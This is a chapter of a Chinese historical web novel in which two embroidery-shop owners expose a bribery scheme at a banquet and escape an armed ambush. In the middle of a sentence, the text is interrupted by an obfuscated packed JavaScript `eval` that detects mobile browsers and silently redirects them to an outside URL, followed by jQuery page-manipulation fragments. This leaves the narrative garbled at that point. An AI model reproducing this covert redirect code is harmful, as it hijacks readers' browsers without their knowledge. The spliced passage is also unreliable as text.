默认冷灰
24号文字
方正启体

58. 第 58 章

作者:沐锖本书字数:K更新时间:
    “裴坊主、沈坊主。”吴梦梅见二人到来,起身招呼。


    “吴坊主也在?”裴砚见到吴梦梅,装作一幅惊讶的样子:“我还以为今日是马坊主设的庆功宴。”


    闻言,吴梦梅面色微僵,仍强笑道:“哪里的话,往后总还有合作机会,裴坊主也会想到我的。毕竟我与马坊主执掌江南绣行多年,纵有些流言蜚语,根基总不会差到哪里去。”


    “也是。往后若有合作,自然会考虑吴坊主。”裴砚从容应道:“只是当时我携单前来,恰逢贵坊出了那样的风波。裴某毕竟是生意人,难免顾虑。如今既知是误会,自然安心,往后定会想着吴坊主。”


    一番话说得滴水不漏。


    “好了好了,都别站着了,入座吧。”马雨奇在一旁打圆场。


    众人依次落座。


    席间不止他们四人,还有江南其他几位有头脸的绣坊主。


    “今日我与吴坊主设宴,主要是为引见两位。”马雨奇起身举杯:“这位,想必诸位先前在世子府已见过——京城云霓坊坊主裴砚。他身旁这位,则是青出于蓝的染月阁坊主沈青禾。”


    “不敢当,沈某还需仰仗各位提携。”沈青禾谦和一笑。


    裴砚只颔首致意。


    众人纷纷上前敬酒。


    一轮过后,沈青禾逐渐察觉不对,他们似乎是有意想要将二人灌醉,好方便后续的行动。


    沈青禾趁间隙间与裴砚对视一眼,虽然两人同席却难通声气,此刻目光相触,裴砚几不可察地点头。


    果然如此。


    在座诸人多半与千丝楼、玉梭坊牵连甚深。


    今日怕是凶多吉少。


    只是不知道褚齐那头是否顺利。


    宴会进行到一半,沈青禾已经感觉到有些晕眩。


    虽然她尽力推拒,但也饮下数杯。自知酒量浅薄,如果真醉了,后果不堪设想。


    她悄悄瞥向正与人谈笑风生的裴砚,他神色如常,想来无事。那自己就更不能拖他后腿,纵使他身手再好,也难敌众人轮番围攻。


    趁人不备,沈青禾将裴砚事先备好的解酒药化入水中。


    也不知这药是否真有用。


    尽管怀疑,但饮下后她却安心不少,或许是心理作用,此刻竟觉清明了几分。随后她又加入到谈笑中,为裴砚分散些注意力,不过她依旧装作微醺的模样,以免再被劝酒。


    就在这个时候,裴砚的手自然伸来,端过她饮了一半的、掺了解酒药的水,从容饮下。


    席间无人留意这细微动作。


    沈青禾略微有些不自在,刚想开口提醒,但转念一想:或许裴砚也饮多了,在强作镇定,那自己可万不能露了破绽。


    便也忽略了这个插曲。


    “说起来,裴坊主在京中,与京都织造局往来可密切?”座中一人忽问。


    “京都织造局……”裴砚放下杯盏:“说来惭愧。裴某虽在京城,却鲜少从织造局接单,多是自家谈下的生意。承蒙圣上眷顾,云霓坊在京中还算有些声名。”


    这话说得谦中含傲。


    沈青禾知道,他非但未夸大,反倒说得含蓄,织造局的单子,未必及得上他自己的生意。


    只是座下却响起一片低议。


    “不过,裴某倒听闻织造局常与江南绣坊合作,所知便有好几家。”裴砚笑看向吴梦梅:“吴坊主说是不是?”


    “这我便不知了,两地相隔,单子也派不到我们这儿。”吴梦梅故作茫然。


    沈青禾暗叹:裴砚一面应付众人,一面竟还能反客为主,试探虚实。


    “派与别家,他们也可能如我这般寻合伙之人。京中不乏喜好江南绣品者。而千丝楼、玉梭坊既是江南翘楚,岂会从未接过此类单子?”裴砚笑意未达眼底。


    “倒也接过几回,都是陈年旧事了,记不清了。”吴梦梅打起哈哈。


    “原来如此。不过……”裴砚稍顿:“不知二位可识得赵宙?”


    “赵宙?!”吴梦梅神色骤变,马雨奇却比她镇定许多。


    “裴坊主说的,可是多音阁那位坊主?”马雨奇接过话来。


    “哦?马坊主认得?”


    “多年前有过合作,自然记得此人。”


    “那吴坊主呢?”裴砚忽转向吴梦梅:“方才见您听闻此名颇为吃惊,想来也有些渊源?”


    “不、不曾……只是从前合作过,闹得有些不愉快,这才惊讶。”吴梦梅强作镇定。


    “在座各位,可还有人与这位赵坊主合作过?”裴砚环视四周。


    众人皆摇头茫然。


    “裴坊主为何问起此人?可是有什么大生意?”座中一人问道。


    “倒也不是生意。”裴砚摇头。


    “既然不是生意,为何这般关切?”


    “因为裴某知晓一事……”他故意顿住。


    “何事?裴坊主莫卖关子。”


    “裴某曾与赵坊主打过交道,争过同一笔单子,惜败于他。”裴砚面露憾色:“心想他既能取胜,必有独到之处,便起了探究之心。不料……”


    他忽又停住,慢条斯理地抿了口水。


    “不料什么?莫非他背后有人?”


    “有无旁人暂且不论,裴某只想说另一件事。”裴砚看向吴梦梅:“先前世子府宴上有人揭发吴坊主时,裴某也甚诧异,当时便疑心千丝楼是否亦涉此事——因我查得多音阁也曾行此类买卖。本欲除之后快,却得知赵宙之父乃户部的谋士,掌京城商户命脉,层层受阻,只得作罢。后来听闻千丝楼亦有此嫌,不免唏嘘。”


    “休得胡言!我那分明是遭人诬陷!”吴梦梅立刻反驳。


    “是否诬陷,裴某不敢妄断。真相如何,自有水落石出之日。马坊主说是不是?”裴砚不再理会吴梦梅,转向马雨奇。


    “此事前些时日世子不是已澄清为误会了?”马雨奇替吴梦梅开脱。


    “是吗?诸位可曾收到官府文书?”裴砚一脸困惑看向众人。


    众人皆摇头。


    “那便是了。”裴砚摊手。


    “你——!”吴梦梅拍案而起。


    “吴坊主莫急,裴某并未断定此事为你所为。您这般反应,反倒令人起疑。”裴砚截住她话头,又看向众人:“方才的话还未说完。”


    “说到赵宙之父与户部关联甚密,裴某便又查到一条线索,此事关乎江南绣行,不知各位可有兴致听下去?”


    “裴坊主快讲,究竟与江南有何干系?”仍是先前那好事者追问。


    沈青禾几乎要怀疑那人是裴砚安插的内应了,可请帖昨日才发,安插人手谈何容易。


    若非如此,那这人便是真真的好事之人了。


    “此事说来蹊跷。按理,向京城织造局打点的,该是京城绣坊。但……”裴砚环视一周,目光落在马雨奇身上:“我查到的银钱,却来自江南。大笔来路不明的金银流入,织造局竟无人察觉,岂不古怪?”


    “此事该由地方税官管辖,况且无凭无据,怎知是来路不明之财?”马雨奇反问。


    “正是!你又进不得官家库房,如何得知?”


    “裴某自然进不去库房,却了解赵宙,毕竟那些银钱皆经他手流转,这一点很是令我怀疑。”裴砚点头:“况且裴某此来江南,不单为了生意,更为了查明此事。毕竟裴某乃陛下亲赐皇商,理应为君分忧。”


    “你是说……有人贿赂京都织造局?”


    “这怎么可能?若要行贿,直接寻江南织造局岂不更方便?何必远赴京城,又拿不到直接订单,岂非得不偿失?”


    “确是如此。”


    “各位所言在理。当初裴某也曾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947356|184825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这般想。后来得知,这两件事本是一体。他们也并非全无好处,好处便是借刀杀人,铲除异己,逐步蚕食江南绣行。”裴砚的视线始终锁着马雨奇与吴梦梅。


    “你是说……”众人见他目光所指,顿时恍然,纷纷狐疑打量二人。


    吴梦梅此刻已面沉如水,马雨奇虽仍不动声色,但沈青禾知道他这是强作镇定。


    她不免忧心:裴砚这般不管不顾捅破窗户纸,是一步险招。不过这一步走的倒是值,毕竟试探的结果,印证了他们并未冤枉好人。


    “哎呀,裴坊主想来是醉了,怎说起这些来?”沈青禾故作圆场,实则火上添油:“这些事可不一定是吴坊主、马坊主所为。毕竟二位执掌江南绣行多年,怎会与前些年的事牵扯?总不能……这些年一直做着这等勾当吧?”


    此言一出,席间低议更甚。


    “各位莫胡乱猜疑,伤了和气反而不美。”沈青禾依旧一幅劝解的模样。


    “沈坊主这般为他们开脱,莫非是一伙的?”有人提出质疑。


    “你觉得呢?”沈青禾索性不再掩饰:“我出身云霓坊,裴坊主曾是我东家。如今染月阁在千丝楼出事第二天便被焚毁,你觉得我会与他们同流合污么?”


    沈青禾之所以敢挑明,是因为方才进来添水的丫鬟是秋秋。


    这就意味着褚齐已直捣黄龙。


    既如此,就再无遮掩的必要。


    “你——!”吴梦梅一掌拍在案上,正欲发作,一名小厮慌慌张张冲了进来。


    “坊主,不好了!”那是玉梭坊的伙计。


    “慌什么?成何体统!”马雨奇不悦。


    小厮凑到他耳边低语几句。


    马雨奇脸色骤变,阴沉沉看向沈青禾二人。


    未等那小厮退下,又一人急急闯而入:“坊主!大事不好!世子带人进了暗——”


    瞥见满室宾客,后半句生生咽了回去。


    然而马、吴二人已然明了。


    席间有人窃窃私语,亦有人虎视眈眈盯住沈、裴二人,而靠近门边的人悄悄挪步,将门合上。


    沈青禾默记下这些人的面孔,他们皆为帮凶,恶行必有他们一份。


    “看来,局势已明了。”裴砚索性卸下伪装,悠然品茶。


    “动手!”马雨奇一声令下,席间大半人亮出藏匿已久的兵刃。


    那些不知情者何曾见过这般阵仗,吓得四处躲藏。


    恶战骤起。


    沈青禾机警地随人群躲避,可对方并未打算放过她,她只能借那些无辜者稍作掩护。


    出乎意料的是,先前那几个频频发问之人,竟与那些人动起手来,还为沈青禾挡开数人。


    原来……是裴砚早安排下的。


    他倒是事事周全。


    然而敌众我寡,不多时他们便落了下风。


    裴砚哟个人要抵挡住数人的围攻,还要时时分心护着沈青禾,令沈青禾心生愧疚。


    马雨奇毕竟曾从军,身手不弱,竟一时与裴砚不分上下。


    裴砚终有顾此失彼之时。


    一人趁其不备,从他身后偷袭,沈青禾瞥见,焦急的呼喊:“小心身后!”


    她顾不上许多,将袖中暗器对准那人,按下旋钮,钢针疾射而出,为裴砚解了围。


    可惜这举动终是暴露了她,瞬间引来几人扑向她。沈青禾不会武功,只能一边躲闪,一边发射暗器。可暗器终究有容量,不过多时,针囊便空空如也了。


    眼见一刀迎面劈来,沈青禾心下一凉。


    千钧一发之际,裴砚闪身而至,挥剑挡下刀锋。


    沈青禾所处的位置靠近门边,裴砚解决眼前之敌,一脚踹开房门,握住她的手腕便向外冲去。


    前有猛虎,后有凶兽。


    二人再度踏上亡命之途。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)